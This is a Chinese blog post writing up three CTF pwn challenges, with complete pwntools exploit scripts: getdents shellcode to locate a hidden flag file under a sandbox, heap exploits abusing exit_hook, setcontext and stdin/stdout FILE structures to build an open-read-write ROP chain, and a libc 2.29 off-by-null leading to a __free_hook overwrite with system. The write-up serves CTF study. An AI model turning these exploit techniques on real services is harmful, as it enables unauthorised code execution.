美文网首页
记录一下最近几天比较有趣的几个pwn题

记录一下最近几天比较有趣的几个pwn题

作者: cnitlrt | 来源:发表于2020-05-25 18:29 被阅读0次
    • 题目开启沙盒并且不知道flag路径时的处理方法(whuctf-shellcode)
    • 题目开启沙盒并且free_hook和malloc_hook都被禁用时的处理情况(GKCTF-pwn1)
    • libc2.29下的off by null(bjdctf-happyending)

    whuctf-shellcode:

    题目就是一个简单shellcode调用,难点在于不知道flag路径,需要自己寻
    找,这里用到了一个函数sys_getdents

    int getdents(unsigned int fd, struct linux_dirent *dirp,unsigned int count);
    

    该函数是一个解析文件夹的函数,第一个参数时要解析的文件句柄,第二个参数是存放解析数据的位置,count是dirp的大小,通过这个我们就可以解析文件夹,但是解析数据的情况有点糟糕,但也不难辨认,需要注意的是当打开文件夹时open的第二个参数为0x10000,打开文件时的参数为0



    可以看到有一个FFFFFFFlag的文件夹,我们进一步解析这个文件夹
    解析成功,然后我们把open的第二个参数换成0,getdents改为read就好了

    可以看到成功打印出flag,
    第一部分的shellcode:

    payload = shellcraft.open("./",0x10000)
    payload += shellcraft.getdents("rax","rsp",0x300)
    payload += shellcraft.write(1,"rsp",0x300)
    

    第二部分shellcode:

    payload = shellcraft.open("./FFFFFFFFFlag/flag",0)
    payload += shellcraft.read("rax","rsp",0x300)
    payload += shellcraft.write(1,"rsp",0x300)
    
    小结:

    当不知道flag路径时使用getdents函数

    GKCTF-pwn1

    这一题学到了很多东西,同时也巩固了很多知识,这题开启了沙盒,在比赛期间我的想法是打exit_hook函数因为我们可以控制两个位置,因此尝试触发setcontext函数来进行srop,但是不知道是什么原因导致了crash,利用失败,最后发现把第一个参数的位置填上"sh",调用system("sh")竟然也可以起shell,原因看了一下官方wp是因为将沙盒放在了最后导致了沙盒起不了太大的作用
    下面附上我的exp和我根据官方wp写出的exp:
    mine:

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    import sys
    import os
    from pwn import *
    #from LibcSearcher import LibcSearcher
    #context.log_level = 'debug'
    
    binary = 'domo'
    elf = ELF('domo')
    libc = elf.libc
    context.binary = binary
    
    DEBUG = 0
    if DEBUG:
      p = process(binary)
      # p=process(binary,env={"LD_PRELOAD":"./libc-2.27.so"})
    else:
      host = "node3.buuoj.cn"
      port =  28855
      p = remote(host,port)
    o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
    magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
    l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
    l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
    sla = lambda a,b  :p.sendlineafter(str(a),str(b))
    sa  = lambda a,b  :p.sendafter(str(a),str(b))
    lg  = lambda name,data : p.success(name + ": 0x%x" % data)
    se  = lambda payload: p.send(payload)
    sl  = lambda payload: p.sendline(payload)
    ru  = lambda a     :p.recvuntil(str(a))
    def choice(idx):
        sla("> ",str(idx))
    def add(size,payload):
        choice(1)
        sla("size:\n",str(size))
        sa("content:\n",payload)
    def show(idx):
        choice(3)
        sla("index:\n",str(idx))
    def free(idx):
        choice(2)
        sla("index:\n",str(idx))
    def edit(addr,num):
        choice(4)
        sla("addr:\n",str(addr))
        sla("num:\n",num)
    add(0xf0,"aaaa")
    add(0x68,"aaaa")
    add(0xf0,"aaaa")
    add(0x60,"aaaaa")
    free(0)
    free(1)
    add(0x68,"a"*0x60+p64(0x100+0x70))
    free(2)
    add(0xe0,"\xa0")
    show(1)
    libc_base = l64()-0x3c4da0
    lg("libc_base",libc_base)
    setcontext = 0x47b75+libc_base
    free_hook = libc.sym["__free_hook"]+libc_base
    gets_addr = libc.sym["gets"]+libc_base
    rtld = 0x83794c+libc_base
    sys_addr = libc.sym["system"]+libc_base
    free_hook1 = free_hook&0xfffffffffffff000
    syscall = 0x00000000000bc375+libc_base
    pop_rdi = 0x0000000000021102+libc_base
    pop_rsi = 0x00000000000202e8+libc_base
    pop_rdx = libc_base+0x0000000000001b92
    pop_rax = libc_base+0x0000000000033544
    exit_hook = 0x837f48+libc_base
    exit_hook2 = exit_hook+8
    addr1 = 0x611c90+libc_base
    frame = SigreturnFrame()
    frame.rdi = 0
    frame.rsi = free_hook1
    frame.rdx = 0x2000
    frame.rsp = free_hook1
    frame.rip = syscall
    edit(str(exit_hook-8),p8(0x7f))
    add(0x50,p64(0)+p64(0x71))
    add(0x120,str(frame))
    add(0x80,"aaaa")
    free(5)
    free(0)
    add(0x60,"a"*0x40+p64(0)+p64(0x121)+p64(0)+p64(rtld-0x40))
    add(0x110,"aaa")
    free(0)
    free(3)
    add(0x60,p8(0x10))
    show(0)
    heap_addr = u64(p.recv(6).ljust(8,"\x00"))+0x1e0
    lg("heap_addr",heap_addr)
    add(0x60,"aaaa")
    free(3)
    free(2)
    add(0x50,p64(0)+p64(0x71)+p64(libc_base+0x837919))
    add(0x60,'a')
    add(0x60,"\x00"*3+p64(0)*2+p32(0)+p32(1)+p32(0)+"sh")
    free(2)
    free(3)
    add(0x50,p64(0)+p64(0x71)+p64(exit_hook-0x10))
    add(0x60,p64(addr1)+p64(setcontext))
    add(0x60,p64(addr1)+p64(sys_addr))
    # gdb.attach(p)
    p.interactive()
    

    官方解exp:

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    import sys
    import os
    from pwn import *
    #from LibcSearcher import LibcSearcher
    # context.log_level = 'debug'
    
    binary = 'domo'
    elf = ELF('domo')
    libc = elf.libc
    context.binary = binary
    
    DEBUG = 0
    if DEBUG:
      p = process(binary)
      # p=process(binary,env={"LD_PRELOAD":"./libc-2.27.so"})
    else:
      host = "node3.buuoj.cn"
      port =  27726
      p = remote(host,port)
    o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
    magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
    l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
    l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
    sla = lambda a,b  :p.sendlineafter(str(a),str(b))
    sa  = lambda a,b  :p.sendafter(str(a),str(b))
    lg  = lambda name,data : p.success(name + ": 0x%x" % data)
    se  = lambda payload: p.send(payload)
    sl  = lambda payload: p.sendline(payload)
    ru  = lambda a     :p.recvuntil(str(a))
    def choice(idx):
        sla("> ",str(idx))
    def add(size,payload):
        choice(1)
        sla("size:\n",str(size))
        sa("content:\n",payload)
    def show(idx):
        choice(3)
        sla("index:\n",str(idx))
    def free(idx):
        choice(2)
        sla("index:\n",str(idx))
    def edit(addr,num):
        choice(4)
        sla("addr:\n",str(addr))
        sla("num:\n",num)
    
    add(0xf0,"aaaa")
    add(0x68,"aaaa")
    add(0xf0,"aaaa")
    add(0x60,"aaaa")
    free(0)
    free(1)
    add(0x68,"a"*0x60+p64(0x70+0x100))
    free(2)
    add(0xe0,"\xa0")
    show(1)
    libc_base = l64()-0x3c4da0
    lg("libc_base",libc_base)
    stdout = libc.sym["_IO_2_1_stdout_"]+libc_base
    stdin = libc.sym["_IO_2_1_stdin_"]+libc_base
    iolist = 0x3c5520+libc_base
    environ = libc.sym["environ"]+libc_base
    jump = libc_base+libc.sym["_IO_file_jumps"]
    malloc_hook = libc.sym["__malloc_hook"]+libc_base
    free_hook = libc.sym["__malloc_hook"]+libc_base
    wjumps = libc.sym["_IO_wfile_jumps"]+libc_base
    one = o_g[0]+libc_base
    poprdi = 0x0000000000021102+libc_base
    poprsi = libc_base+0x00000000000202e8
    poprdx = libc_base+0x0000000000001b92
    openr = libc.sym["open"]+libc_base
    read = libc.sym["read"]+libc_base
    puts  = libc_base+libc.sym['write']
    # poprax = libc_base+
    add(0x50,p64(0)+p64(0x71))
    free(2)
    free(0)
    add(0x50,p64(0)+p64(0x71)+p64(stdout-0x43))
    add(0x60,'\xa0')
    payload ="\x00"*3+p64(0)*5+p64(jump)+p64(0x00000000fbad2887)+p64(stdout+131)+p64(environ)
    payload += p64(stdout+131)+p64(environ)+p64(environ+8)
    add(0x68,payload)
    stack_addr = l64()-0xf2
    lg("stack_addr",stack_addr)
    free(2)
    free(3)
    add(0x60,"\x10")
    show(2)
    heap_addr = u64(p.recv(6).ljust(8,"\x00"))
    lg("heap_addr",heap_addr)
    add(0x60,"flag")
    free(3)
    free(0)
    edit(str(stdin-0x20),p8(0x7f))
    add(0x50,"flag\x00\x00\x00\x00"+p64(0x71)+p64(stdin-0x28))
    add(0x60,p64(0))
    add(0x110,"flag")
    payload = p64(0)+p64(wjumps)+p64(0)+p64(0x00000000fbad2288)+p64(0)*6+p64(stack_addr)+p64(stack_addr+0x1000)
    add(0x60,payload)
    payload = p64(poprdi)+p64(heap_addr)+p64(poprsi)+p64(0)+p64(openr)
    payload += p64(poprdi)+p64(3)+p64(poprsi)+p64(heap_addr+0x20)+p64(poprdx)+p64(0x30)+p64(read)
    payload += p64(poprdi)+p64(1)+p64(poprsi)+p64(heap_addr+0x20)+p64(poprdx)+p64(0x30)+p64(puts)
    p.recv()
    # gdb.attach(p)
    p.sendline("5\n"+payload)
    p.interactive()
    
    小结:

    开启沙盒时并且禁用了malloc_hook和free_hook尝试利用stdout和stdin来进行任意地址读(泄露栈地址,堆地址,libc地址都可),任意位置写(写程序的返回地址构造rop链)需要注意的是,虽然stdout也可以进行任意地址写但是不推荐这样做,因为有的时候这个值并不可控(修改部分)

    _IO_write_base指向想要泄露的地方。
    _IO_write_ptr指向泄露结束的地址。
    _IO_read_end等于_IO_write_base以绕过限制。
    

    可以简单的理解为_flags值不变,后面跟(原数据和要泄露的数据)*2,最后跟上结束位置

    使用stdin进行任意地址写时:(修改部分)

    设置_IO_read_end等于_IO_read_ptr。
    设置_IO_buf_base为write_start,_IO_buf_end为write_end;且使得_IO_buf_end-_IO_buf_base大于fread要读的数据。
    

    可以简单的理解_flags值不变,后面跟6个p64(0)然后后面两个写上要修改的地址和结束地址

    libc2.29下的off by null:

    这题一个字,爽,比赛期间调了很久,这题和海洋大学的略有不同,就是堆地址不白给,这就需要借助largebin残留的堆地址来进行伪造,大体思路摘自aidai师傅的博客:



    这里简单说明一下
    1.fakechunk和可控chunkX位置选择,我总结了一下,需要满足如下条件:

    fakechunk必须是xxx000这种,并且是在一个新页
    fakechunk 的fd覆盖倒数第二个字节指向可控的chunkX比如xxx00f0
    chunkX利用off by null覆盖最后一个字节xxx0000
    

    不会保证100%成功,当倒数第二个字节为"\x00"时才会成功,1/16的可能性

    exp:

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    import sys
    import os
    from pwn import *
    # from LibcSearcher import LibcSearcher
    # context.log_level = 'debug'
    binary = 'pwn111'
    elf = ELF('pwn111')
    libc = ELF("./libc.so.6")
    context.binary = binary
    
    DEBUG = 1
    if DEBUG:
      p = process(binary)
    else:
      host = "183.129.189.60"
      port =  10106
      p = remote(host,port)
    o_g = [0xe237f,0xe2383,0xe2386,0x106ef8]
    o_g1 = [0xe6b93,0xe6b96,0xe6b99,0x10afa9]
    l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
    l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
    sla = lambda a,b  :p.sendlineafter(str(a),str(b))
    sa  = lambda a,b  :p.sendafter(str(a),str(b))
    lg  = lambda name,data : p.success(name + ": 0x%x" % data)
    se  = lambda payload: p.send(payload)
    sl  = lambda payload: p.sendline(payload)
    ru  = lambda a     :p.recvuntil(str(a))
    def choice(idx):
        sla(">\n",str(idx))
    def add(size,payload):
        choice(1)
        sla("Your blessing words length :\n",str(size))
        sa("Best wishes to them!\n",payload)
    def show(idx):
        choice(3)
        sla("input the idx to show your blessing :\n",str(idx))
    def free(idx):
        choice(2)
        sla("input the idx to clean the debuff :\n",str(idx))
    def exp():
        for i in range(6):
            add(0x1000,"aaaa")
        for i in range(10):
            add(0x28,"aaaa")#6
        add(0xb60,"/bin/sh\x00")#16
        add(0x480,"aaaa")#17
        add(0xf8,"aaaa")#18
        free(17)
        add(0x500,"aaaa")#17
        add(0x28,p64(0)+p64(0x481)+p8(0x40))#19
        add(0x500,"aaaa")
        add(0x28,p64(0)+p64(0x21)+p64(0)+p8(0x10))
        add(0x28,"aaaa")#22
        for i in range(7):
            free(i+6)
        free(22)
        free(19)
        for i in range(9):
            add(0x28,p8(0x10))
        add(0x68,"aaa")#23
        add(0x388,"a"*0x380)#24
        for i in range(7):
            add(0xf8,"aaaa")
        for i in range(7):
            free(i+25)
        free(24)
        add(0x388,"a"*0x380+p64(0x480))
        free(18)
        add(0x70,"aaaa")
        show(23)
        libc_base = l64()-96-0x10-libc.sym["__malloc_hook"]
        sys_addr = libc_base+libc.sym["system"]
        free_hook = libc.sym["__free_hook"]+libc_base
        malloc_hook = libc_base+libc.sym["__malloc_hook"]
        one = o_g1[0]+libc_base
        lg("libc_base",libc_base)
        for i in range(11):
            add(0x68,"aaaa")
        for i in range(7):
            free(i+26)
        free(23)
        free(35)
        free(25)
        for i in range(7):
            add(0x68,"aaaa")
        add(0x68,p64(free_hook))
        add(0x68,p64(free_hook))
        add(0x68,p64(free_hook))
        add(0x68,p64(sys_addr))
        free(16)
        # gdb.attach(p)
        p.interactive()
        #ec6bd82ec7854173a6768b7cf9e316cc
    while True:
        # p = remote(host,port)
        p = process(binary)
        try:
            exp()
        except:
            p.close()
    
    小结:

    libc2.29够味!

    总结:

    这几场比赛打下来总体感觉不错,学到了好多东西,同时也看到了好多自己存在的问题,没白打

    相关文章

      网友评论

          本文标题:记录一下最近几天比较有趣的几个pwn题

          本文链接:https://www.haomeiwen.com/subject/noiyahtx.html